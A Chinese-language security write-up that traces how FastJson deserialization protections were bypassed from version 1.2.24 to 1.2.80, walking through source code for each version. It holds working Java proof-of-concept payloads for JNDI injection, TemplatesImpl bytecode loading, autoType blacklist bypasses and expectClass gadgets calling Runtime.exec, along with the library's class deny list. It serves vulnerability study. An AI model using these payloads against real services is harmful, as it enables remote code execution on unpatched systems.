FastJson绕过史分析

0x01.Before Version 1.2.24

此版本AutoType功能默认开启,且没有任何类黑名单限制。测试代码如下:

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class POC {
public static void main(String[] args) {
String poc = "{\n" +
" \"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\n" +
" \"dataSourceName\": \"ldap://127.0.0.1:1389/ExploitClass\",\n" +
" \"autoCommit\": true\n" +
"}";
JSON.parse(poc, Feature.SupportNonPublicField);
}
}

漏洞成因首先是反序列化过程中会根据@type字段来加载对应的Class。

image-20260810151451432

第二点就是会通过反射执行对应Class的两个setter方法,根据字段分别是setDataSourceName和setAutoCommit。setDataSourceName会在其父类javax.sql.rowset#BaseRowSet设置dataSource为恶意ldap服务地址。

image-20260810152844155

在setAutoCommit会调用到connect方法,其中根据dataSource作为参数调用javax.naming.InitialContext#lookup,很明显就是JNDI注入了嘛。

image-20260810154441124

如果目标不出网就需要第二条链子,CC3使用到的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类,POC如下:

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class POC {
public static void main(String[] args) {
String code = "yv66vgAA.......;

String poc = "{\n" +
" \"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n" +
" \"_bytecodes\":[\"" + code + "\"],\n" +
" \"_name\": \"HelloTemplatesImpl\",\n" +
" \"_tfactory\": {},\n" +
" \"_outputProperties\": {}\n" +
"}";
JSON.parse(poc, Feature.SupportNonPublicField);
}
}

我写payload的时候发现一直执行失败,后面才知道_bytecodes字段的字节码会在反序列化过程中通过com.alibaba.fastjson.util.IOUtils#decodeBase64解码。那么序列化过程中有些情况下也会调用encodeBase64。image-20260810163617048

这条链子后面就是调用TemplatesImpl#getOutputProperties方法了,没啥好说的,后续调用链如下(参考CC3):

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()

image-20260810164429826

0x02.Version 1.2.25-1.2.41

针对1.2.25的修复方案引入checkAutoType防护机制,采用黑名单 + 白名单方式防御。默认关闭AutoType支持,并将常见的恶意类包名加入黑名单。

image-20260810165401703

黑名单如下:

private String[] denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");

如下可以发现黑名单的匹配其实是匹配Class前缀的。并且是先进行白名单匹配的。

image-20260810170658640

绕过Payload如下,前提是AutoType,所以Payload中用了一行先开启。

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

public class POC {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

String code = "yv66vgAAADQALwoAC......";

String poc = "{\n" +
" \"@type\": \"Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\",\n" +
" \"_bytecodes\":[\"" + code + "\"],\n" +
" \"_name\": \"HelloTemplatesImpl\",\n" +
" \"_tfactory\": {},\n" +
" \"_outputProperties\": {}\n" +
"}";
JSON.parse(poc, Feature.SupportNonPublicField);
}
}

这个绕过方法就是在类名中以L开头和;结尾绕过黑名单。checkAutoType中会调用com.alibaba.fastjson.util.TypeUtils#loadClass,其中会对className进行处理,保证能够成功加载这个Class。

image-20260810171204363

0x03.Version 1.2.42

针对上一版本的绕过,修复方案是进一步加强checkAutoType逻辑判断,限制部分特殊字符的使用。

image-20260810173243748

image-20260810171839035

之前的黑名单以及白名单还转成了Hash。不过我记得在GitHub上有人搞了个Hash对照Class的。

image-20260810172121092

绕过很好绕过,由于不是递归处理删除L和;。双写就可以绕过,Payload如下:

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

public class POC {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

String code = "yv66vgAAADQALwoACQ......";

String poc = "{\n" +
" \"@type\": \"LLcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;;\",\n" +
" \"_bytecodes\":[\"" + code + "\"],\n" +
" \"_name\": \"HelloTemplatesImpl\",\n" +
" \"_tfactory\": {},\n" +
" \"_outputProperties\": {}\n" +
"}";
JSON.parse(poc, Feature.SupportNonPublicField);
}
}

0x04.Version 1.2.43-1.2.44

此版本修复了双写绕过。

image-20260810183322740

image-20260810183349240

但是com.alibaba.fastjson.util.TypeUtils#loadClass依然没动,这个版本的Payload如下,利用了 FastJSON 解析器对非标准格式的宽松处理。

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

public class POC {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

String code = "yv66vgAAADQALwoACQAWCQAX......";

String poc = "{\n" +
" \"@type\": \"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"[{,\n" +
" \"_bytecodes\":[\"" + code + "\"],\n" +
" \"_name\": \"HelloTemplatesImpl\",\n" +
" \"_tfactory\": {},\n" +
" \"_outputProperties\": {}\n" +
"}";
JSON.parse(poc, Feature.SupportNonPublicField);
}
}

当进入checkAutoType,typeName为[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,能够成功绕过检测来到TypeUtils#loadClass中。其中包含了对[符号的处理。在checkAutoType返回时能够正确返回[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl对象。

image-20260810185237284

0x05.Version 1.2.44

拦了[符号。

image-20260810190746629

image-20260810190831415

0x06.Version 1.2.45

在1.2.25-1.2.45版本期间,爆出一个对黑名单的绕过,引入新的Gadgets,在mybatis组件org.apache.ibatis.datasource.jndi.JndiDataSourceFactory#setProperties方法中,存在JNDI注入。

image-20260810190257627

构造Payload如下:

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

public class POC {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

String poc = "{\n" +
" \"@type\": \"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\n" +
" \"properties\": {\n" +
" \"initial_context\": \"ldap://127.0.0.1:1389/ExploitClass\",\n" +
" \"data_source\": \"1\"\n" +
" }\n" +
"}";

JSON.parse(poc, Feature.SupportNonPublicField);
}
}

image-20260810191437740

0x07.Verison 1.2.46

上一版本绕过黑名单的org.apache.ibatis.datasource.jndi.JndiDataSourceFactory被新加入黑名单。

image-20260810192313820

0x08.Verison 1.2.47

上述所有绕过都基于一个前提,autoTypeSupport开启为true。但在1.2.47版本中将出现绕过这一机制的方法,即1.2.25-1.2.47将通杀。当autoTypeSupport即使为false时,也会在进入黑名单判断之前,在TypeUtils.mappings中和deserializers中寻找要反序列化的类,如果找到了,则就会返回。如果在mappings中缓存有待加载的恶意类,那么autoTypeSupprot即使为false也能通杀。

image-20260810204029059

跟进看一下com.alibaba.fastjson.util.TypeUtils#getClassFromMapping,向mappingss中获取@type指定的类名。

image-20260810204131265

在此类中搜索mappings.put,发现也只有TypeUtils#addBaseClassMappings以及TypeUtils#loadClass方法。addBaseClassMappings是一个无参函数,并且经过分析,它的put只能加载固定的Class实例。看看loadClass,是能够调用过去执行put的。并且执行put的地方有三处。

image-20260810204233556

该loadClass又会被另一个重载的loadClass引用。

image-20260810204315864

而该重载的loadClass又会被com.alibaba.fastjson.serializer.MiscCodec#deserialze引用。

image-20260810204359544

当parser.resolveStatus等于TypeNameRedirect然后就会进行一系列解析,这里面参数解析真是相当难懂,直接用Payload来调试分析。

if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
parser.resolveStatus = DefaultJSONParser.NONE;
parser.accept(JSONToken.COMMA);

if (lexer.token() == JSONToken.LITERAL_STRING) {
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}
lexer.nextToken();
} else {
throw new JSONException("syntax error");
}

parser.accept(JSONToken.COLON);

objVal = parser.parse();

parser.accept(JSONToken.RBRACE);
} else {
objVal = parser.parse();
}

String strVal;

if (objVal == null) {
strVal = null;
} else if (objVal instanceof String) {
strVal = (String) objVal;
} else {
......
}

if (strVal == null || strVal.length() == 0) {
return null;
}

if (clazz == UUID.class) {
return (T) UUID.fromString(strVal);
}

if (clazz == URI.class) {
return (T) URI.create(strVal);
}

......

if (clazz instanceof ParameterizedType) {
ParameterizedType parmeterizedType = (ParameterizedType) clazz;
clazz = parmeterizedType.getRawType();
}

if (clazz == Class.class) {
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}

......

Payload如下:

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class POC {
public static void main(String[] args) {

String poc = "{\n" +
" \"1\": {\n" +
" \"@type\": \"java.lang.Class\",\n" +
" \"val\": \"com.sun.rowset.JdbcRowSetImpl\"\n" +
" },\n" +
" \"2\": {\n" +
" \"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\n" +
" \"dataSourceName\": \"ldap://127.0.0.1:1389/ExploitClass\",\n" +
" \"autoCommit\": true\n" +
" }\n" +
"}";

JSON.parse(poc, Feature.SupportNonPublicField);
}
}

首先第一个判断语句,只要带有@type都会通过的。往下判断lexer的是否有val字段,有的话取出来解析给objVal(com.sun.rowset.JdbcRowSetImpl)。以及后面的strVal,然后只要@type是java.lang.Class就会调用loadClass。

image-20260810210110886

然后调用mappings.put将利用类加入缓。

image-20260810210252274

解析第二段json时,能直接从mappings缓存中找到利用类,直接返回。这时候还没有进入autoTypeSupprot为false的判断逻辑。

image-20260810210408757

0x09.Version 1.2.48-1.2.68

通过mappings缓存这种方式在1.2.48版本后续了修复,修复方法时在com.alibaba.fastjson.serializer.MiscCodec#deserialze调用loadClass时,不走中间那个重载loadClass方法了,并且那个重载loadClass方法调用利用的loadClass方法的第三个参数cache默认为false了,最重要的是deserialze调用loadClass方法的cache参数也传入的false,这样调用的loadClass不会调用mappings.put。

image-20260811093742832

image-20260811093841786

在1.2.68版本中,引入了一个新的安全机制safeMode,查看checkAutoType可以发现,如果safeMode开启,将直接抛出异常。都不用直接管autoTypeSupport了。如下三个方式之一判断safeMode是否开启:

  • 当前ParserConfig实例上设置的safeMode(通过setSafeMode(true)设置)
  • 调用parseObject等方法时显式传入的Feature掩码
  • 全局静态默认特性集

调试能够发现此版本上safeMode默认关闭。

image-20260811094631134

但在此版本又出现了一个利用期望类expectClass全新的方式来绕过autoTypeSupport为false的情况。在执行严格的判断autoTypeSupprot之前会通过一个简单的判断,如果autoTypeSupport、jsonType、expectClassFlag其中之一满足一个true的话,会调用com.alibaba.fastjson.util.TypeUtils#loadClass加载@type指定的恶意类。如果checkAutoType的第三个参数expectClass是加载祖先类就会直接返回这个Class,绕过严格的autoTypeSupport判断,但是并没有绕过黑名单Class检查。

if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}

if (clazz != null) {
if (jsonType) {
TypeUtils.addMapping(typeName, clazz);
return clazz;
}

......

if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
TypeUtils.addMapping(typeName, clazz);
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}


......

if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}

当exceptClass不为null时,expectClassFlag变量也就会为true。

image-20260811150529933

其中能够自定义传入expectClass的地方也就两处:

  • com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#deserialze
  • com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze

image-20260811105632726

首先看到第一处在ThrowableDeserializer#deserialze中,传入的exceptClass为Throwable.class。

image-20260811132700420

返回加载类后,通过ThrowableDeserializer#createException创建加载类实例。

image-20260811132854918

如下是createException实现,其中会调用newInstance,那么将恶意代码写到构造方法、静态方法是不是也可以执行呢?

image-20260811133002424

所以构造Payload如下:

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

public class POC {
public static void main(String[] args) {

String poc = "{\n" +
" \"@type\": \"java.lang.Exception\",\n" +
" \"@type\": \"org.example.EvilException\",\n" +
" \"domain\": \"open -a Calculator\"\n" +
"}";

JSON.parse(poc, Feature.SupportNonPublicField);
}
}

恶意类定义如下,可以继承Exception类,因为Exception类又继承Throwable类。

package org.example;

public class EvilException extends Exception {
private String domain;

public void setDomain(String domain) throws Exception {
this.domain = domain;
Runtime.getRuntime().exec(domain);
}
}

image-20260811150957171

按此Payload执行,首先会加载第一个@type指明的类java.lang.Exception。因为java.lang.Exception是JDK自带的基类,不在黑名单中,且属于内部缓存允许的类(com.alibaba.fastjson.util.TypeUtils#getClassFromMapping),checkAutoType直接放行。

image-20260811154055587

Fastjson发现Exception Throwable的子类,于是决定使用ThrowableDeserializer(异常反序列化器)来处理接下来的JSON数据。于是就调用到了ThrowableDeserializer#deserialze其中的那个checkAutoType方法,传入的exceptClass为Throwable.class,然后就和之前分析的那样,不会进入autoTypeSupport的严格检查,但仍会收到两处黑名单的校验。

image-20260811154406577

返回后就和正常Fastjson解析过程一样了,会调用Payload对应setter、getter方法。

image-20260811154640762

对于自定义传入expectClass的第二处地方传入的expectClass参数为java.lang.AutoCloseable,除此之外和第一处地方原理完全一致。

image-20260811160501963

Payload如下:

package org.example;

public class EvilAutoCloseable implements AutoCloseable {
private String domain;

public void setDomain(String domain) throws Exception {
this.domain = domain;
Runtime.getRuntime().exec(domain);
}

@Override
public void close() throws Exception {

}
}

image-20260811160707841

在此版本的利用中,Fastjson在判断期望类之前将继承自ClassLoader、DataSource、RowSet的类直接抛出异常,加上前面两个黑名单判断,就有三道门禁了,但是重点是我们能够绕过AutoType了,所以需要一些新的gadgets。

image-20260811164028947

具体新利用链是利用org.apache.commons.io这个Class,参考 : https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg 。

0x0A.Version 1.2.69-1.2.80

在Fastjson 1.2.80版本中,利用方式和Fastjson 1.2.68版本一致,还是用期望类,只是之前利用AutoCloseable来进行文件读写,那么在1.2.69这个Class肯定被加入黑名单了嘛。那么在1.2.80版本中,利用的期望类便是Throwable.class。

Clipboard_Screenshot_1786439560

利用类为包括:

  • org.codehaus.groovy
  • org.python、org.postgresql、org.springframework
  • org.aspectj

参考:

https://changeyourway.github.io/2025/08/23/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87-Fastjson%201.2.68-1.2.80%20%E5%88%A9%E7%94%A8/

0x0B.END

临近2026 HVV,FastJson 1.8.3和2.0.53又爆洞了,建议就是不用这个组件,用Jackson,虽然比FastJson慢,但是安全啊(hhhh)。